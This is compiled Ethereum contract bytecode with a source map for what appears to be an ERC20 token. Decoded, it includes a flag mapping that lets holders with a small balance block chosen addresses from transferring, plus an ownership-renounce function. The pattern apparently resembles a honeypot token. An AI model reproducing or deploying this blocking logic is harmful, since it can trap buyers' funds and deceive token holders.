ffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052e9061173a565b60405180910390fd5b61055485610543610ac5565b858461054f9190611785565b610acc565b60019150509392505050565b5f60095f9054906101000a900460ff16905090565b60055481565b60095f9054906101000a900460ff1660ff1660025f610598610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156105dc575f80fd5b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b6001602052805f5260405f205f915090505481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106e4575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600880546107d49061169a565b80601f01602080910402602001604051908101604052809291908181526020018280546108009061169a565b801561084b5780601f106108225761010080835404028352916020019161084b565b820191905f5260205f20905b81548152906001019060200180831161082e57829003601f168201915b5050505050905090565b5f610868610861610ac5565b8484611032565b6001905092915050565b6008805461087f9061169a565b80601f01602080910402602001604051908101604052809291908181526020018280546108ab9061169a565b80156108f65780601f106108cd576101008083540402835291602001916108f6565b820191905f5260205f20905b8154815290600101906020018083116108d957829003601f168201915b505050505081565b60095f9054906101000a900460ff1660ff1660025f61091b610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561095f575f80fd5b600160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b600780546109c49061169a565b80601f01602080910402602001604051908101604052809291908181526020018280546109f09061169a565b8015610a3b5780601f10610a1257610100808354040283529160200191610a3b565b820191905f5260205f20905b815481529060010190602001808311610a1e57829003601f168201915b505050505081565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3190611828565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9f906118b6565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c82919061153f565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf490611944565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d62906119d2565b60405180910390fd5b5f8111610dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da490611a60565b60405180910390fd5b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680610e48575060035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15610ea3576001151560065f9054906101000a900460ff16151514610ea2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9990611aa1565b60405180910390fd5b5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610f27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1e90611b2f565b60405180910390fd5b8181610f339190611785565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610fc09190611b4d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611024919061153f565b60405180910390a350505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109790611944565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361110e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611105906119d2565b60405180910390fd5b5f8111611150576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114790611a60565b60405180910390fd5b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156111f5576001151560065f9054906101000a900460ff161515146111f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111eb90611aa1565b60405180910390fd5b5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611279576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127090611b2f565b60405180910390fd5b81816112859190611785565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546113129190611b4d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611376919061153f565b60405180910390a350505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156113bb5780820151818401526020810190506113a0565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6113e082611384565b6113ea818561138e565b93506113fa81856020860161139e565b611403816113c6565b840191505092915050565b5f6020820190508181035f83015261142681846113d6565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61145b82611432565b9050919050565b61146b81611451565b8114611475575f80fd5b50565b5f8135905061148681611462565b92915050565b5f819050919050565b61149e8161148c565b81146114a8575f80fd5b50565b5f813590506114b981611495565b92915050565b5f80604083850312156114d5576114d461142e565b5b5f6114e285828601611478565b92505060206114f3858286016114ab565b9150509250929050565b5f8115159050919050565b611511816114fd565b82525050565b5f60208201905061152a5f830184611508565b92915050565b6115398161148c565b82525050565b5f6020820190506115525f830184611530565b92915050565b5f6020828403121561156d5761156c61142e565b5b5f61157a84828501611478565b91505092915050565b5f805f6060848603121561159a5761159961142e565b5b5f6115a786828701611478565b93505060206115b886828701611478565b92505060406115c9868287016114ab565b9150509250925092565b5f60ff82169050919050565b6115e8816115d3565b82525050565b5f6020820190506116015f8301846115df565b92915050565b61161081611451565b82525050565b5f6020820190506116295f830184611607565b92915050565b5f80604083850312156116455761164461142e565b5b5f61165285828601611478565b925050602061166385828601611478565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806116b157607f821691505b6020821081036116c4576116c361166d565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f61172460288361138e565b915061172f826116ca565b604082019050919050565b5f6020820190508181035f83015261175181611718565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61178f8261148c565b915061179a8361148c565b92508282039050818111156117b2576117b1611758565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61181260248361138e565b915061181d826117b8565b604082019050919050565b5f6020820190508181035f83015261183f81611806565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6118a060228361138e565b91506118ab82611846565b604082019050919050565b5f6020820190508181035f8301526118cd81611894565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61192e60258361138e565b9150611939826118d4565b604082019050919050565b5f6020820190508181035f83015261195b81611922565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6119bc60238361138e565b91506119c782611962565b604082019050919050565b5f6020820190508181035f8301526119e9816119b0565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726174657220745f8201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f611a4a60298361138e565b9150611a55826119f0565b604082019050919050565b5f6020820190508181035f830152611a7781611a3e565b9050919050565b50565b5f611a8c5f8361138e565b9150611a9782611a7e565b5f82019050919050565b5f6020820190508181035f830152611ab881611a81565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611b1960268361138e565b9150611b2482611abf565b604082019050919050565b5f6020820190508181035f830152611b4681611b0d565b9050919050565b5f611b578261148c565b9150611b628361148c565b9250828201905080821115611b7a57611b79611758565b5b9291505056fea2646970667358221220abe8c357e6cf44200da2c8876c89dd36b78fcaefad540b979e9cc62aa9e556cd64736f6c63430008170033

6852:4305:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7612:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8507:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7900:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6962:43;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8686:422;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7806:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7134:27;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9808:138;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6910:45;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8019:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6665:178;;;:::i;:::-;;6580:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7705:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8156:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7241:42;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11018:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7196:38;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8344:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7612:83;7649:13;7682:5;7675:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7612:83;:::o;8507:169::-;8590:4;8607:39;8616:12;:10;:12::i;:::-;8630:7;8639:6;8607:8;:39::i;:::-;8664:4;8657:11;;8507:169;;;;:::o;7900:108::-;7961:7;7988:12;;7981:19;;7900:108;:::o;6962:43::-;;;;;;;;;;;;;;;;;:::o;8686:422::-;8792:4;8809:40;8823:6;8831:9;8842:6;8809:13;:40::i;:::-;8860:24;8887:11;:19;8899:6;8887:19;;;;;;;;;;;;;;;:33;8907:12;:10;:12::i;:::-;8887:33;;;;;;;;;;;;;;;;8860:60;;8959:6;8939:16;:26;;8931:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;9021:57;9030:6;9038:12;:10;:12::i;:::-;9071:6;9052:16;:25;;;;:::i;:::-;9021:8;:57::i;:::-;9096:4;9089:11;;;8686:422;;;;;:::o;7806:84::-;7848:5;7873:9;;;;;;;;;;;7866:16;;7806:84;:::o;7134:27::-;;;;:::o;9808:138::-;9894:9;;;;;;;;;;;9869:34;;:7;:21;9877:12;:10;:12::i;:::-;9869:21;;;;;;;;;;;;;;;;:34;;9860:44;;;;;;9933:5;9915;:15;9921:8;9915:15;;;;;;;;;;;;;;;;:23;;;;;;;;;;;;;;;;;;9808:138;:::o;6910:45::-;;;;;;;;;;;;;;;;;:::o;8019:127::-;8093:7;8120:9;:18;8130:7;8120:18;;;;;;;;;;;;;;;;8113:25;;8019:127;;;:::o;6665:178::-;6742:6;;;;;;;;;;6728:20;;:10;:20;;;6720:29;;;;;;6802:1;6765:40;;6786:6;;;;;;;;;;6765:40;;;;;;;;;;;;6833:1;6816:6;;:19;;;;;;;;;;;;;;;;;;6665:178::o;6580:79::-;6618:7;6645:6;;;;;;;;;;;6638:13;;6580:79;:::o;7705:87::-;7744:13;7777:7;7770:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7705:87;:::o;8156:175::-;8242:4;8259:42;8269:12;:10;:12::i;:::-;8283:9;8294:6;8259:9;:42::i;:::-;8319:4;8312:11;;8156:175;;;;:::o;7241:42::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;11018:134::-;11101:9;;;;;;;;;;;11076:34;;:7;:21;11084:12;:10;:12::i;:::-;11076:21;;;;;;;;;;;;;;;;:34;;11067:44;;;;;;11140:4;11122:5;:15;11128:8;11122:15;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;11018:134;:::o;7196:38::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8344:151::-;8433:7;8460:11;:18;8472:5;8460:18;;;;;;;;;;;;;;;:27;8479:7;8460:27;;;;;;;;;;;;;;;;8453:34;;8344:151;;;;:::o;6042:98::-;6095:7;6122:10;6115:17;;6042:98;:::o;10665:344::-;10784:1;10767:19;;:5;:19;;;10759:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10865:1;10846:21;;:7;:21;;;10838:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10947:6;10917:11;:18;10929:5;10917:18;;;;;;;;;;;;;;;:27;10936:7;10917:27;;;;;;;;;;;;;;;:36;;;;10985:7;10969:32;;10978:5;10969:32;;;10994:6;10969:32;;;;;;:::i;:::-;;;;;;;;10665:344;;;:::o;9955:701::-;10083:1;10065:20;;:6;:20;;;10057:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;10167:1;10146:23;;:9;:23;;;10138:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;10237:1;10228:6;:10;10220:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;10299:5;:13;10305:6;10299:13;;;;;;;;;;;;;;;;;;;;;;;;;:33;;;;10316:5;:16;10322:9;10316:16;;;;;;;;;;;;;;;;;;;;;;;;;10299:33;10295:71;;;10357:4;10342:19;;:11;;;;;;;;;;;:19;;;10334:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;10295:71;10377:21;10401:9;:17;10411:6;10401:17;;;;;;;;;;;;;;;;10377:41;;10454:6;10437:13;:23;;10429:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;10550:6;10534:13;:22;;;;:::i;:::-;10514:9;:17;10524:6;10514:17;;;;;;;;;;;;;;;:42;;;;10591:6;10567:9;:20;10577:9;10567:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;10630:9;10613:35;;10622:6;10613:35;;;10641:6;10613:35;;;;;;:::i;:::-;;;;;;;;10046:610;9955:701;;;:::o;9120:678::-;9244:1;9226:20;;:6;:20;;;9218:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;9328:1;9307:23;;:9;:23;;;9299:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;9398:1;9389:6;:10;9381:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9460:5;:13;9466:6;9460:13;;;;;;;;;;;;;;;;;;;;;;;;;9456:52;;;9499:4;9484:19;;:11;;;;;;;;;;;:19;;;9476:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;9456:52;9519:21;9543:9;:17;9553:6;9543:17;;;;;;;;;;;;;;;;9519:41;;9596:6;9579:13;:23;;9571:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;9692:6;9676:13;:22;;;;:::i;:::-;9656:9;:17;9666:6;9656:17;;;;;;;;;;;;;;;:42;;;;9733:6;9709:9;:20;9719:9;9709:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;9772:9;9755:35;;9764:6;9755:35;;;9783:6;9755:35;;;;;;:::i;:::-;;;;;;;;9207:591;9120:678;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:329::-;3857:6;3906:2;3894:9;3885:7;3881:23;3877:32;3874:119;;;3912:79;;:::i;:::-;3874:119;4032:1;4057:53;4102:7;4093:6;4082:9;4078:22;4057:53;:::i;:::-;4047:63;;4003:117;3798:329;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:227::-;6672:34;6668:1;6660:6;6656:14;6649:58;6741:10;6736:2;6728:6;6724:15;6717:35;6532:227;:::o;6765:366::-;6907:3;6928:67;6992:2;6987:3;6928:67;:::i;:::-;6921:74;;7004:93;7093:3;7004:93;:::i;:::-;7122:2;7117:3;7113:12;7106:19;;6765:366;;;:::o;7137:419::-;7303:4;7341:2;7330:9;7326:18;7318:26;;7390:9;7384:4;7380:20;7376:1;7365:9;7361:17;7354:47;7418:131;7544:4;7418:131;:::i;:::-;7410:139;;7137:419;;;:::o;7562:180::-;7610:77;7607:1;7600:88;7707:4;7704:1;7697:15;7731:4;7728:1;7721:15;7748:194;7788:4;7808:20;7826:1;7808:20;:::i;:::-;7803:25;;7842:20;7860:1;7842:20;:::i;:::-;7837:25;;7886:1;7883;7879:9;7871:17;;7910:1;7904:4;7901:11;7898:37;;;7915:18;;:::i;:::-;7898:37;7748:194;;;;:::o;7948:223::-;8088:34;8084:1;8076:6;8072:14;8065:58;8157:6;8152:2;8144:6;8140:15;8133:31;7948:223;:::o;8177:366::-;8319:3;8340:67;8404:2;8399:3;8340:67;:::i;:::-;8333:74;;8416:93;8505:3;8416:93;:::i;:::-;8534:2;8529:3;8525:12;8518:19;;8177:366;;;:::o;8549:419::-;8715:4;8753:2;8742:9;8738:18;8730:26;;8802:9;8796:4;8792:20;8788:1;8777:9;8773:17;8766:47;8830:131;8956:4;8830:131;:::i;:::-;8822:139;;8549:419;;;:::o;8974:221::-;9114:34;9110:1;9102:6;9098:14;9091:58;9183:4;9178:2;9170:6;9166:15;9159:29;8974:221;:::o;9201:366::-;9343:3;9364:67;9428:2;9423:3;9364:67;:::i;:::-;9357:74;;9440:93;9529:3;9440:93;:::i;:::-;9558:2;9553:3;9549:12;9542:19;;9201:366;;;:::o;9573:419::-;9739:4;9777:2;9766:9;9762:18;9754:26;;9826:9;9820:4;9816:20;9812:1;9801:9;9797:17;9790:47;9854:131;9980:4;9854:131;:::i;:::-;9846:139;;9573:419;;;:::o;9998:224::-;10138:34;10134:1;10126:6;10122:14;10115:58;10207:7;10202:2;10194:6;10190:15;10183:32;9998:224;:::o;10228:366::-;10370:3;10391:67;10455:2;10450:3;10391:67;:::i;:::-;10384:74;;10467:93;10556:3;10467:93;:::i;:::-;10585:2;10580:3;10576:12;10569:19;;10228:366;;;:::o;10600:419::-;10766:4;10804:2;10793:9;10789:18;10781:26;;10853:9;10847:4;10843:20;10839:1;10828:9;10824:17;10817:47;10881:131;11007:4;10881:131;:::i;:::-;10873:139;;10600:419;;;:::o;11025:222::-;11165:34;11161:1;11153:6;11149:14;11142:58;11234:5;11229:2;11221:6;11217:15;11210:30;11025:222;:::o;11253:366::-;11395:3;11416:67;11480:2;11475:3;11416:67;:::i;:::-;11409:74;;11492:93;11581:3;11492:93;:::i;:::-;11610:2;11605:3;11601:12;11594:19;;11253:366;;;:::o;11625:419::-;11791:4;11829:2;11818:9;11814:18;11806:26;;11878:9;11872:4;11868:20;11864:1;11853:9;11849:17;11842:47;11906:131;12032:4;11906:131;:::i;:::-;11898:139;;11625:419;;;:::o;12050:228::-;12190:34;12186:1;12178:6;12174:14;12167:58;12259:11;12254:2;12246:6;12242:15;12235:36;12050:228;:::o;12284:366::-;12426:3;12447:67;12511:2;12506:3;12447:67;:::i;:::-;12440:74;;12523:93;12612:3;12523:93;:::i;:::-;12641:2;12636:3;12632:12;12625:19;;12284:366;;;:::o;12656:419::-;12822:4;12860:2;12849:9;12845:18;12837:26;;12909:9;12903:4;12899:20;12895:1;12884:9;12880:17;12873:47;12937:131;13063:4;12937:131;:::i;:::-;12929:139;;12656:419;;;:::o;13081:114::-;;:::o;13201:364::-;13343:3;13364:66;13428:1;13423:3;13364:66;:::i;:::-;13357:73;;13439:93;13528:3;13439:93;:::i;:::-;13557:1;13552:3;13548:11;13541:18;;13201:364;;;:::o;13571:419::-;13737:4;13775:2;13764:9;13760:18;13752:26;;13824:9;13818:4;13814:20;13810:1;13799:9;13795:17;13788:47;13852:131;13978:4;13852:131;:::i;:::-;13844:139;;13571:419;;;:::o;13996:225::-;14136:34;14132:1;14124:6;14120:14;14113:58;14205:8;14200:2;14192:6;14188:15;14181:33;13996:225;:::o;14227:366::-;14369:3;14390:67;14454:2;14449:3;14390:67;:::i;:::-;14383:74;;14466:93;14555:3;14466:93;:::i;:::-;14584:2;14579:3;14575:12;14568:19;;14227:366;;;:::o;14599:419::-;14765:4;14803:2;14792:9;14788:18;14780:26;;14852:9;14846:4;14842:20;14838:1;14827:9;14823:17;14816:47;14880:131;15006:4;14880:131;:::i;:::-;14872:139;;14599:419;;;:::o;15024:191::-;15064:3;15083:20;15101:1;15083:20;:::i;:::-;15078:25;;15117:20;15135:1;15117:20;:::i;:::-;15112:25;;15160:1;15157;15153:9;15146:16;;15181:3;15178:1;15175:10;15172:36;;;15188:18;;:::i;:::-;15172:36;15024:191;;;;:::o

ipfs://abe8c357e6cf44200da2c8876c89dd36b78fcaefad540b979e9cc62aa9e556cd